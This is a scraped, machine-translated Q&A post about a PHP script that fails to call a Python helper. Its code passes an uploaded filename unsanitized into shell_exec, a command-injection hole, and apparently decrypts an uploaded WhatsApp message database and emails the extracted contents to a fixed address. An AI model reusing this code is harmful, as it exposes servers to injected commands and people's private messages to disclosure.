未从php调用Python脚本

未从php调用Python脚本,php,python,shell,Php,Python,Shell,我有一个php脚本,它应该捕获一个文件,在上面运行一个python脚本,然后是一个.sh,然后是另一个python。 奇怪的是,.sh和第二个脚本运行良好。但是第一个python脚本没有。如果我通过ssh访问服务器,它会正确运行,因此python代码很好。我只是不明白为什么我的服务器没有运行它 同样,这是第一个不是从PHP运行的PYTHON脚本:fixName.py。有人能帮我看看吗 提前谢谢!! 戴夫:) 代码: 文件名可能有问题吗?是fixName.py还是fixName.py?我发现,f

我有一个php脚本,它应该捕获一个文件,在上面运行一个python脚本,然后是一个.sh,然后是另一个python。 奇怪的是,.sh和第二个脚本运行良好。但是第一个python脚本没有。如果我通过ssh访问服务器,它会正确运行,因此python代码很好。我只是不明白为什么我的服务器没有运行它

同样,这是第一个不是从PHP运行的PYTHON脚本:fixName.py。有人能帮我看看吗

提前谢谢!! 戴夫:)

代码:



文件名可能有问题吗?是fixName.py还是fixName.py?我发现,fixName.py不是什么问题,而是我应该使用PHP来进行解析、文件函数等等。。。我第一次使用PHP时很害怕,但现在一切都正常了:)
<?php
set_time_limit(900);
$gmail=$_POST['gmail'];
$phn=$_POST['phn'];
function GeraHash($qtd){ 
$Caracteres = 'ABCDEFGHIJKLMOPQRSTUVXWYZ0123456789'; 
$QuantidadeCaracteres = strlen($Caracteres); 
$QuantidadeCaracteres--; 
$Hash=NULL; 
for($x=1;$x<=$qtd;$x++){ 
    $Posicao = rand(0,$QuantidadeCaracteres); 
    $Hash .= substr($Caracteres,$Posicao,1); 
} 

return $Hash; 
} 

$randx = GeraHash(5);
echo $randx;

$contents1='';
$contents2='';

if ($_FILES["file"]["error"] > 0)
  {
  echo "Error: " . $_FILES["file"]["error"] . "<br>";
  }
else
  {
  echo "Upload: " . $_FILES["file"]["name"] . "<br>";
  echo "Type: " . $_FILES["file"]["type"] . "<br>";
  echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
  echo "Stored in: " . $_FILES["file"]["tmp_name"];
  move_uploaded_file($_FILES["file"]["tmp_name"],
  "upload/" . $_FILES["file"]["name"]);
  echo "Stored in: " . "upload/" . $_FILES["file"]["name"]." FILE: ". $_FILES["file"]["name"];
  }
$old_path = getcwd();
chdir('/var/www/upload/');
function Emails(){
global $contents1;
global $contents2;

$output = shell_exec('python fixNAME.py ' . $_FILES["file"]["name"]);
sleep(5);

$filegmail=file_get_contents("http://upload/" . $_FILES["file"]["name"] . 'gmail.txt');
$handle1=fopen($filegmail,'r');
$contents1=fread($handle1,filesize($filegmail));
fclose($handle1);
$filespd=file_get_contents("http://upload/" . $_FILES["file"]["name"] . 'spd.txt');
$handle2=fopen($filespd,'r');
$contents2=fread($handle2,filesize($filespd));
fclose($handle2);
}

function Two(){
global $contents1;
global $contents2;
global $randx;

rename('/var/www/whatsapp92926544Alkjt5t5/upload/' . $_FILES["file"]["name"],'/var/www/whatsapp92926544Alkjt5t5/upload/' . 'msgstore.db.crypt5' . $randx);

$output = shell_exec('./myni5.sh ' . 'xyz' . ' msgs.db' . $randx . ' > msgs.db' . $randx); 
sleep(5);
$output = shell_exec('python tract.py '. 'msgs.db' . $randx); 
sleep(5);
}

function Three(){
global $randx;
global $contents1;
global $contents2;
global $gmail;

global $phn;

$to = 'info@myemail.com';//$contents2;
$subject =   'Logs';
$bound_text =   "jimmyP123";
$bound =    "--".$bound_text."\r\n";
$bound_last =   "--".$bound_text."--\r\n";
$headers =  "From: DailyLogs@kl.com\r\n";
$headers .= "MIME-Version: 1.0\r\n"
."Content-Type: multipart/mixed; boundary=\"$bound_text\"";
$message .= "If you can see this MIME than your client doesn't accept MIME types!\r\n"
.$bound;
$message .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n"
."Content-Transfer-Encoding: 7bit\r\n\r\n"
    .$_POST['gmail']
."\r\n"
    ."gmail:"
    ."\r\n"
    .$contents1
    ."\r\n"
    ."spd:"
    ."\r\n"
    .$contents2
    ."\r\n"
.$bound;
$file = file_get_contents("http://upload/msgstore.db" . $randx . ".html");
$message .= "Content-Type: image/jpg; name=\"msgs.db" . $randx . ".html\"\r\n"  
@mail($to, $subject, $message, $headers);

}

function runAll(){

 Emails();
 Two();
 Three();
}
runAll();
$randx=null;
unset($randx);
chdir($old_path);

?>